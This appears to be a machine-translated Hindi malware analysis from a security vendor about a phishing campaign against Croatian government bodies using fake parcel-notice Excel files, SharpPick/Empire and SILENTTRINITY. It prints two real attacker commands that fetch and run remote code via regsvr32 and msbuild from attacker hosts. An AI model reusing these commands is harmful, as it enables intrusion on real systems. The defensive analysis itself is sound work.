आयरनपीथॉन बुराई के पक्ष में: कैसे हमने एक यूरोपीय देश में सार्वजनिक सेवाओं पर साइबर हमले को उजागर किया

विशेषज्ञ सुरक्षा केंद्र के हमारे विशेषज्ञ हमेशा नए दिलचस्प और खतरनाक खतरों के उद्भव की निगरानी करते हैं। इस तरह, अप्रैल 2019 की शुरुआत में, क्रोएशियाई सरकार पर एक लक्षित हमले का पता चला। इस रिपोर्ट ने पीड़ित के कंप्यूटर पर मालवेयर डिलीवरी की श्रृंखला की जांच की, समझौता के संकेतक प्रस्तुत किए, और एक नए पोस्ट-ऑपरेशनल फ्रेमवर्क के उपयोग पर ध्यान दिया, जो हमारे डेटा के अनुसार, हमलावरों द्वारा कभी भी उपयोग नहीं किया गया है।

पीड़ित संक्रमण

2 अप्रैल, 2019 को नए मैलवेयर के लिए विभिन्न संसाधनों की नियमित निगरानी के दौरान, पीटी विशेषज्ञ सुरक्षा केंद्र के विशेषज्ञों ने एक असामान्य कार्यालय दस्तावेज़ की खोज की।



चित्र 1. दुर्भावनापूर्ण दस्तावेज़

भेजने की सूचना एमएस एक्सेल कार्यालय अनुप्रयोग में बनाई गई थी और एक दिन पहले (2019-04-01 16:28:07 (UTC)) पुराने XLS प्रारूप में सहेजी गई थी। फिर भी, प्रेस पर उपलब्ध समय टिकट (2018-07-25 00:12:30 (UTC)) इंगित करता है कि 2018 में दस्तावेज़ का उपयोग किया गया था। हम नीचे दिए गए इस अप्रत्यक्ष लक्षण पर लौटेंगे।

यह उल्लेखनीय है कि टिप्पणियाँ फ़ील्ड (जिसे एमएस एक्सेल एप्लिकेशन का उपयोग करके बदला जा सकता है) में विंडोज शेल में एक कमांड शामिल है:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

चित्रा 2. संदिग्ध सामग्री के साथ "टिप्पणियाँ" फ़ील्ड



चित्रा 3. द्विआधारी रूप में टिप्पणियाँ क्षेत्र की सामग्री

इस आदेश को निष्पादित करने के परिणामस्वरूप, सिस्टम विजुअल बेसिक भाषा में एक स्क्रिप्ट बनाता है, जो लॉन्च होने पर, निम्नलिखित क्रियाएं करेगा:

• WebDAV तकनीक का उपयोग कर नेटवर्क संसाधन कनेक्ट करें,
• वैध प्रणाली उपयोगिता regsvr32 का उपयोग करके संक्रमण के अगले चरण की फ़ाइल डाउनलोड और चलाएं।

जब नेटवर्क संसाधन HTTP (एस) के माध्यम से जुड़ा होता है, तो NTLM अनुरोध हमलावर सर्वर को भेजा जाता है, जिसकी मदद से NTLM हैश को पुनर्स्थापित किया जा सकता है। तब प्राप्त हैश का उपयोग पीड़ित की ओर से सेवाओं के लिए प्राधिकरण के लिए किया जा सकता है। हमें इस तरह के हमलों के निशान नहीं मिले, और नेटवर्क संसाधन को जोड़ने के कारण स्पष्ट नहीं हैं।

दुर्भावनापूर्ण उद्देश्यों के लिए regsvr32 (ActiveX नियंत्रणों को प्रबंधित करना) का उपयोग करने की तकनीक नई नहीं है और यहां तक ​​कि इसका एक नाम भी है - स्क्वेइलडू। हमलावर इसका उपयोग विश्वसनीय कार्यक्रमों के प्रक्षेपण को नियंत्रित करने के लिए आवश्यकताओं के साथ-साथ एंटी-वायरस डिटेक्शन को बायपास करने के लिए करते हैं।

अपने आप से, टिप्पणी क्षेत्र में पाठ हानिरहित है, और इसके निष्पादन को किसी तरह से वातानुकूलित किया जाना चाहिए। जब पीड़ित प्राप्त एक्सेल दस्तावेज़ खोलता है, तो एक क्रोएशियाई-भाषा ट्रैप संदेश प्रकट होता है जो आपको मैक्रोज़ को शामिल करने के लिए कहता है:



चित्र 4. दस्तावेज़ खोलने के बाद ट्रैप संदेश

यदि मैक्रोज़ की अनुमति है, तो उपयोगकर्ता को क्रोएशियाई डाक लोगो के साथ एक नकली पैकेज अधिसूचना दिखाई देगी:



चित्रा 5. झूठी पैकेज अधिसूचना

इस बीच, मैक्रो टूल का उपयोग करते हुए, टिप्पणियाँ फ़ील्ड की स्क्रिप्ट निष्पादित की जाएगी, और सिस्टम में बनाई गई स्क्रिप्ट को स्टार्टअप में जोड़ा जाएगा:



चित्रा 6. प्रमुख मैक्रो तर्क

मजे की बात है, जो स्क्रिप्ट बनाई जा रही है, वह मैक्रो द्वारा ट्रिगर नहीं की जाती है। शायद यह हमलावर का इरादा है: संक्रमण का अगला चरण सिस्टम रिबूट और उपयोगकर्ता लॉगिन के बाद होगा। हम नीचे इस विवरण पर लौटेंगे।

परिदृश्य का हिस्सा अपने तरीके से दिलचस्प है: मार्कअप के प्रारूपण, इंडेंटेशन और अन्य बारीकियों के साथ एक साफ-सुथरी कोड संरचना, थर्ड-पार्टी कोड और यहां तक ​​कि एक प्रोग्राम का उपयोग करने का संकेत हो सकता है जो आपको ऐसे दस्तावेज़ों को स्वचालित रूप से बनाने की अनुमति देता है।



चित्रा 7. संभवतः मैक्रो का उधार हिस्सा है

कीवर्ड खोज विभिन्न संसाधनों पर कई समान कोड प्रदान करता है। हमें विश्वास है कि हैकर को उचित प्रोग्राम कोड मिल गया है और उसे अपनी जरूरत के कार्यों को करने के लिए इसे थोड़ा मोड़ना है:



चित्रा 8 जारी करने पर एक समान मैक्रो का उदाहरण



चित्रा 9. stackoverflow.com पर एक समान मैक्रो का एक उदाहरण



चित्र 10. dummies.com पर एक समान मैक्रो का उदाहरण

हमें regsvr32 उपयोगिता का उपयोग करके संक्रमण के अगले चरण पर वापस लौटें। जब कमांड निष्पादित हो जाती है, तो जावास्क्रिप्ट में अपडेट। Sct स्क्रिप्ट हमलावर के सर्वर से डाउनलोड की जाएगी। स्क्रिप्ट के शरीर में बेस 64 एल्गोरिथ्म द्वारा एन्कोडेड बाइनरी डेटा शामिल हैं। डिकोडिंग के बाद, प्राप्त डेटा को .NET फ्रेमवर्क सॉफ्टवेयर प्लेटफॉर्म का उपयोग करके डीसर्विलाइज्ड और निष्पादित किया जाएगा।



चित्र 11. हमलावर के सर्वर से डाउनलोड की गई अद्यतन। स्क्रिप्ट

यह ध्यान देने योग्य है कि यह कोड हमलावर द्वारा सार्वजनिक संसाधनों में से एक पर भी उधार लिया गया था:



चित्र 12. rastamouse.me पर समान कोड का एक उदाहरण



चित्र 13. github.com पर समान कोड का एक उदाहरण

ऐसा लगता नहीं है कि हैकर सावधानीपूर्वक उपयोग किए गए उपकरणों के तर्क में देरी कर रहा है। उदाहरण के लिए, माना गया स्क्रिप्टलेट में, सेटवर्सन फ़ंक्शन को कहा जाता है, जो कुछ भी नहीं करता है। वेब पर उपलब्ध एक उदाहरण भी दिखता है।

अनपैक्ड और लॉन्च की गई वस्तु .NET प्लेटफॉर्म पर एक निष्पादन योग्य पीई फ़ाइल है।



चित्रा 14. निष्पादन योग्य पीई फ़ाइल का हेडर



चित्र 15. SharpPick PE फ़ाइल की डिबग जानकारी

संकलन के परिणामस्वरूप, स्रोत कोड के साथ परियोजना का मार्ग संरक्षित था। -मास्टर प्रत्यय इंगित करता है कि परियोजना को पहले रिपॉजिटरी से क्लोन किया गया था, और SharpPick निर्देशिका एक प्रसिद्ध एप्लिकेशन की ओर जाता है जो आपको सीधे भाषा दुभाषिया का उपयोग किए बिना पावरशेल कोड को डाउनलोड करने और निष्पादित करने की अनुमति देता है, लेकिन निर्भरता का उपयोग करते हुए।
GitHub पर SharpPick उपयोगिता परियोजना की उपलब्धता के बावजूद, आपको यह सुनिश्चित करना चाहिए कि कोई महत्वपूर्ण बदलाव नहीं किया गया है।



चित्र 16. विघटित SharpPick उपयोगिता कोड का हिस्सा

विघटन के परिणामस्वरूप, एक छद्म कोड प्राप्त किया गया था, जिसके दौरान इसे बेस 64 से डिकोड किया गया और पॉवरशेल स्क्रिप्ट लॉन्च की गई:



चित्र 17. आंशिक रूप से परिवर्तित PowerShell स्क्रिप्ट

कोड को सरल बनाने के बाद, इसके तर्क को पार्स करना मुश्किल नहीं है:

• निर्दिष्ट उपयोगकर्ता-एजेंट, कुकी और प्रॉक्सी सेटिंग्स के साथ वेब सर्वर के साथ बातचीत करने के लिए एक ऑब्जेक्ट का गठन किया जाता है;
• पेलोड निर्दिष्ट पते पर लोड किया गया है;
• परिणाम आरसी 4 एल्गोरिथ्म द्वारा निर्दिष्ट कुंजी का उपयोग करके डिक्रिप्ट किया गया है और शुरू हुआ।

दुर्भाग्य से, हमारे शोध के दौरान, प्रबंधन सर्वर पहले से ही अनुपलब्ध था। उससे पहले जो डेटा मिला था, वह हमें नहीं मिला। हालाँकि, इस समय वेब पर पर्याप्त जानकारी है (उदाहरण: फायरएयर से हमारे सहयोगियों की रिपोर्ट) को स्पष्ट रूप से स्थापित करने के लिए: इस संक्रमण श्रृंखला की अंतिम कड़ी एम्पायर बैकडोर है, जो एम्पायर फ्रेमवर्क पोस्ट-ऑपरेशनल फ्रेमवर्क के भाग के रूप में पीड़ित के कंप्यूटर के दूरस्थ प्रशासन के लिए एक उपकरण है।



चित्रा 18. WinRAR में कमजोरियों पर हमला करने के लिए एक समान PowerShell स्क्रिप्ट का उपयोग करना

दिलचस्प बात यह है कि अन्य स्क्रिप्ट पैटर्न पैठ परीक्षण तकनीकों पर एक व्यापक लेख का नेतृत्व करते हैं, विशेष रूप से प्रॉक्सी सर्वर के पीछे हमलावरों के बुनियादी ढांचे को छिपाने के लिए। हमलावर द्वारा उपयोग की जाने वाली जानकारी का सबसे संभावित स्रोत, पेतु टेक्नोलॉजीज के सहकर्मियों का एक लेख है, जहां वे वैध संसाधनों के लिए पुनर्निर्देशन सत्रों पर विस्तृत निर्देश प्रदान करते हैं , अवांछित पैकेटों को अवरुद्ध करते हैं, लॉगिंग करते हैं, और इसी तरह एम्पायर का उपयोग भी करते हैं।

कुछ घंटों बाद, हमें पार्सल पर एक और दस्तावेज़ मिला। यह पिछले एक के साथ कई समानताएं हैं: क्रोएशिया में भी पाया गया (2019-04-02 16:52:56 (UTC)), समान नाम और यहां तक ​​कि प्राप्त पार्सल के बारे में एक ट्रैप छवि भी है। लेकिन फिर भी मतभेद हैं।

दुर्भावनापूर्ण कोड फिर से टिप्पणियां क्षेत्र में स्थित है, लेकिन इस बार कार्यों के तर्क को बदल दिया गया है।

 cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

• नेटवर्क संसाधन SMB प्रोटोकॉल का उपयोग करके जुड़ा हुआ है।
• डाउनलोड करें और संक्रमण के अगले चरण को लॉन्च करें। .NET फ्रेमवर्क पैकेज की एक वैध उपयोगिता एमएसबिल्ट का उपयोग करें।

यह दिलचस्प है कि वेबदाव लाइन घुड़सवार निर्देशिका के पते में मौजूद है, अप्रत्यक्ष रूप से इस मामले को पिछले एक के साथ जोड़ रहा है। इस बार, NTLM हैश पर एक हमला अभी भी संभव है, हालांकि इसके उपयोग का कोई सबूत नहीं है। फिर से, एक वैध एप्लिकेशन (इस बार msbuild) को तीसरे पक्ष के कार्यक्रमों को लॉन्च करने पर प्रतिबंध को सफलतापूर्वक बायपास करने के लिए उपयोग किया जाता है। इससे पहले कि हम दुरुपयोग की तकनीक का वर्णन करें, हम एक नए दस्तावेज़ के मैक्रो के प्रोग्राम कोड में अंतर का उल्लेख करते हैं।

हमलावरों ने VBA स्क्रिप्ट के तर्क में महत्वपूर्ण बदलाव नहीं किया। लेकिन यह ध्यान देने योग्य है कि इस बार वे न केवल सिस्टम में बनाई गई वीबीएस-स्क्रिप्ट की स्वचालित लोडिंग प्रदान करते हैं, बल्कि दस्तावेज़ खोलने पर इसे लॉन्च भी करते हैं। सबसे अधिक संभावना है, पिछले मामले में, हमलावर केवल इसके बारे में भूल गए थे, और कुछ समय बाद, एक गलती की खोज करने के बाद, उन्होंने इसे दस्तावेज़ के नए संस्करण में ठीक किया।



चित्र 19. दो दस्तावेजों में मैक्रो कोड की तुलना

संक्रमण का अगला चरण एक XML दस्तावेज़ है जिसमें C # कोड होता है। Msbuild उपयोगिता की एक विशेषता आपको मार्कअप पर मौजूद कोड को संकलन करने और चलाने की अनुमति देती है, जैसा कि मार्कअप की शुरुआत में हैकर द्वारा छोड़ी गई टिप्पणियों से स्पष्ट है।

बेस 64 बफर को फिर से कोड में प्रस्तुत किया गया है, जिसे डीफ्लैट एल्गोरिदम द्वारा डिकोड किया जाएगा, और लॉन्च किया जाएगा। हम मानते हैं कि पाठक को पहले से ही पता है कि इस बार हमलावर ने भी स्वतंत्र रूप से सुलभ टेम्पलेट का उपयोग किया, जैसा कि उल्लिखित टिप्पणियों और वेब पर एक ही कोड के साथ कई स्रोतों द्वारा स्पष्ट किया गया है।



चित्र 20. हमलावर सर्वर से डाउनलोड किए गए msbuild.xml कार्य

परिणामस्वरूप, इस बार .NET प्लेटफ़ॉर्म पर PE फ़ाइल लोड और मेमोरी में निष्पादित की जाएगी। और डिबगिंग जानकारी में न केवल एक संकेत है कि परियोजना को एक आभासी मशीन पर एकत्र किया गया था (संभवतः हमलावर के बारे में जानकारी छिपाने के लिए), लेकिन यह भी SILENTTRINITY निर्देशिका है, जिसे हम और अधिक विस्तार से बताएंगे।



चित्र 21. साइलेंटरी पीई फ़ाइल की डिबग जानकारी

इन दो पार्सल दस्तावेजों का अध्ययन करने के बाद, हमें दो और मिले। दोनों फ़ाइल प्रारूप, नाम और निर्दिष्ट क्षेत्र के साथ जाल चित्र अपरिवर्तित रहे। दस्तावेज अगस्त 2018 के अंत में उपलब्ध थे, जो अभियान की दीर्घकालिक प्रकृति के बारे में परिकल्पना की पुष्टि करता है, जिसे हमने रिपोर्ट की शुरुआत में लिखा था।

यह उत्सुक है कि पिछले साल हैकर्स ने "टिप्पणियां" क्षेत्र का उपयोग नहीं किया था, लेकिन उन्होंने वैध उपयोगिताओं का शुभारंभ किया। दुर्भावनापूर्ण घटक को प्रमाणपत्र और प्रमाणित क्रिप्टोग्राफ़िक संचालन के साथ काम करने के लिए उपयोगिता का उपयोग करके लोड किया गया था, और लॉन्च WMI सिस्टम प्रबंधन टूल द्वारा प्रदान किया गया था:



चित्र 22. 2018 दस्तावेज़ मैक्रोज़ की तुलना

दुर्भाग्य से, जो कुछ हुआ उसकी सीमा के बाद, हम 2018 की हमले श्रृंखला में बाद के लिंक स्थापित करने में असमर्थ थे।

यह भी ध्यान देने योग्य है कि वीबीए स्क्रिप्ट कोड का हिस्सा अपरिवर्तित रहा, काम के तर्क को समझाते हुए हटाए गए सहायक टिप्पणियों के अपवाद के साथ।



चित्र 23. 2019 और 2018 मैक्रोज़ की तुलना

साइलेंटट्रिनिटी फ्रेमवर्क

PE फ़ाइल की डिबग जानकारी से SILENTTRINITY कीवर्ड के लिए खोज परिणाम आसानी से इस हमले के लिंक की उत्पत्ति निर्धारित कर सकते हैं। अक्टूबर 2018 में, मार्सेलो सालवती (ब्लैक हिल्स इन्फॉर्मेशन सिक्योरिटी में एक शोधकर्ता) ने लोकप्रिय गिटहब रिपॉजिटरी पर साइलेंट्रिनिटी नामक एक परियोजना पोस्ट की। मुख्य विचार: पायथन प्रोग्रामिंग भाषा पाइथन, जिसका नाम आयरनपाइथन है, में प्रसिद्ध पोस्ट-ऑपरेशनल पॉवरशेल फ्रेमवर्क के लचीलेपन और फायदों का उपयोग करना है। यह परियोजना आज तक विकसित हो रही है।

हम परियोजना के काम और कार्यान्वयन के विवरण (विशेषकर चूंकि लेखक ने अपनी रिपोर्ट में इसके बारे में विस्तार से बात की है) के विवरण में नहीं तलेगा। हम कार्यान्वयन में केवल काम के बुनियादी तर्क और दिलचस्प बिंदुओं को उजागर करेंगे।

पीई-फ़ाइल शुरू करने के बाद (हालांकि, मध्यवर्ती लिंक एक अलग प्रारूप में हो सकता है), निम्नलिखित होता है:

• आवश्यक निर्भरता और मुख्य पायथन स्क्रिप्ट के साथ ज़िप संग्रह डाउनलोड करने के लिए प्रबंधन सर्वर तक पहुंच;
• डिस्क पर सहेजे बिना संग्रह सामग्री निकाली जाती है;
• पायथन लिपियों के सफल प्रसंस्करण के लिए निर्भरताएं पंजीकृत हैं;
• मुख्य पायथन स्क्रिप्ट लॉन्च की गई है, जो हमलावर से कार्य की प्रतीक्षा कर रही है;
• प्रत्येक कार्य को एक तैयार किए गए पायथन लिपि के रूप में स्थानांतरित किया जाता है;
• कार्य एक अलग धागे में पीड़ित पक्ष पर किया जाता है;
• कार्य का परिणाम प्रबंधन सर्वर पर वापस स्थानांतरित कर दिया जाता है।

चित्रा 24. साइलेंटट्रिनिटी फ्रेमवर्क ऑपरेशन आरेख

सुविधाओं में से यह निम्नलिखित पर प्रकाश डालने लायक है:

• IronPython के लिए समर्थन, जिसमें Boo भाषा (मजबूत डेटा टाइपिंग के साथ IronPython का सबसेट) शामिल है।
• सभी गतिविधि के लिए डिस्क स्थान की आवश्यकता नहीं होती है: निर्भरता, स्क्रिप्ट, कार्य स्मृति में स्थित हैं (फाइललेस अटैक)।
• पुरातत्व, कार्यों, टीमों के काम का परिणाम - पीड़ित और हैकर के बीच सभी संचार एईएस एल्गोरिथ्म के साथ एन्क्रिप्टेड है।
• साझा कुंजी डिफी-हेलमैन प्रोटोकॉल द्वारा बनाई गई है।
• नेटवर्क ट्रांसपोर्ट को HTTP (S) प्रोटोकॉल के स्तर पर प्रॉक्सी सपोर्ट के साथ दिया जाता है।

चित्र 25. साइलेंटट्रिनिटी फ्रेमवर्क के सर्वर साइड का उदाहरण यूजर इंटरफेस

दिलचस्प बात यह है कि हमलों के दिन, पीई लोडर को वायरसटोटल सेवा में अपलोड किया गया था, जहां किसी भी एंटी-वायरस विक्रेता ने इसे दुर्भावनापूर्ण नहीं माना था। यह आश्चर्य की बात नहीं है: सबसे पहले, द्विआधारी फ़ाइल डिस्क पर नहीं मिलती है, और हस्ताक्षर का पता लगाने का बहुत मतलब नहीं है; दूसरी बात, उपयोगकर्ताओं की सुरक्षा के लिए स्थिर पहचान एकमात्र तकनीक से दूर है।



चित्रा 26. हमले के दिन साइलेंटट्रिनिटी बूटलोडर स्कैन परिणाम

इसके अलावा, हमले के कुछ दिनों बाद, पता लगाने के फैसले अभी भी दिखाई देने लगे। यह महत्वपूर्ण है कि हमलों की अवधि के दौरान, या तो सुरक्षात्मक उपकरण अभी तक डिटेक्शन एल्गोरिदम से सुसज्जित नहीं थे, या सिद्धांत रूप में खतरे का पता नहीं था।



चित्र 27. साइलेंटट्रिनिटी बूटलोडर का वर्तमान स्कैन परिणाम

सबसे अधिक संभावना है, यह हमलों के संचालन के लिए इस समाधान को चुनने का कारण था। हमें कोई जानकारी नहीं है कि साइलेंटट्रिनिटी ढांचे का इस्तेमाल पहले भी दुर्भावनापूर्ण हमलों में किया जा चुका है।

हमलावरों द्वारा प्रयुक्त इन्फ्रास्ट्रक्चर

यह उल्लेखनीय है कि हैकर्स द्वारा उपयोग किया जाने वाला नेटवर्क बुनियादी ढांचा कालानुक्रमिक रूप से चल रहे हमलों से संबंधित है।



तालिका 1. हमलावर सर्वर के रूप में उपयोग किए जाने वाले डोमेन के बारे में जानकारी


डोमेन को इस तरह से बनाया गया था जैसे कि वैध हमला संसाधनों से मिलता जुलता हो। यह उपयोगकर्ताओं को फ़िशिंग हमलों में विश्वास हासिल करने की अनुमति देता है। ध्यान दें कि शामिल संसाधन क्रोएशिया तक सीमित नहीं हैं।

सभी डोमेन WhoisGuard सुरक्षा प्रौद्योगिकी का उपयोग करके पंजीकृत हैं। यह आपको स्पैम से बचाने के लिए डोमेन कुलसचिव के बारे में वास्तविक जानकारी छिपाने की अनुमति देता है, जबकि हमलावर इस तकनीक का उपयोग गुमनामी के लिए करते हैं।

मैलवेयर वितरित करने और प्रबंधित करने वाले सर्वर डच प्रदाता ब्रीज़ले से पट्टे पर लिए गए थे।

हमलावरों के नोड्स, पते और डोमेन के बारे में सभी उपलब्ध जानकारी, जिनमें आपस में बहुत सारे कनेक्शन हैं, हमें इस बात की अनुमति देता है कि हम इस बार मैलवेयर के बड़े संस्करणों के बारे में निर्णय लें। हम इस बात को बाहर नहीं करते हैं कि अभियान के साधनों के समान उन उपकरणों का उपयोग किया जा सकता है और संक्रमण के कुछ मामले अनसुलझी रहे।



चित्रा 28. एक हमलावर के बुनियादी ढांचे का चित्रमय प्रतिनिधित्व

निष्कर्ष

समाचारों में दस्तावेजों की खोज के एक दिन बाद, लक्ष्यित फिनिशिंग हमलों के बारे में क्रोएशियाई विभाग के सूचना प्रणाली सुरक्षा के लिंक के साथ एक प्रेस विज्ञप्ति जारी की गई थी। देश के कई सरकारी निकायों में निशान पाए गए। यह बताया गया है कि पीड़ितों को एक फ़िशिंग साइट के लिंक के साथ ईमेल भेजे गए थे जिसमें से एक दुर्भावनापूर्ण दस्तावेज़ डाउनलोड करने का प्रस्ताव था, जहाँ से हमारा विश्लेषण शुरू हुआ था। यह आक्रमण श्रृंखला में गायब लिंक को भरता है, और अंत में हम उन सुरक्षा विधियों पर ध्यान देना चाहेंगे जो इस तरह के नुकसान को कम कर सकते हैं:

• कुछ विश्वसनीय कार्यक्रमों के उपयोग की निगरानी और नियंत्रण (certutil, regsvr32, msbuild, net, wmic ...)
• ईमेल में न केवल संलग्नक की जाँच और विश्लेषण, बल्कि वेब लिंक भी
• एक कॉर्पोरेट नेटवर्क पर पीसी मेमोरी का आवधिक स्कैन
• C2 साइलेंट ट्रिनिटी (यहां तक ​​कि टीएलएस के तहत) के सफल कनेक्शन को पीटी नेटवर्क अटैक डिस्कवरी का उपयोग करके पता लगाया जा सकता है, इसके अलावा, हमारी रिपॉजिटरी में, हमने समुदाय के लिए पता लगाया।

एलेक्सी विष्णकोव, सकारात्मक टेक्नोलॉजीज द्वारा पोस्ट किया गया

PS इस विषय पर, लेखक ने पॉजिटिव हैक डेज़ 9 पर एक रिपोर्ट भी पढ़ी। इस और अन्य प्रस्तुतियों का वीडियो यहां उपलब्ध है: www.phdays.com/en/broadcast/ ।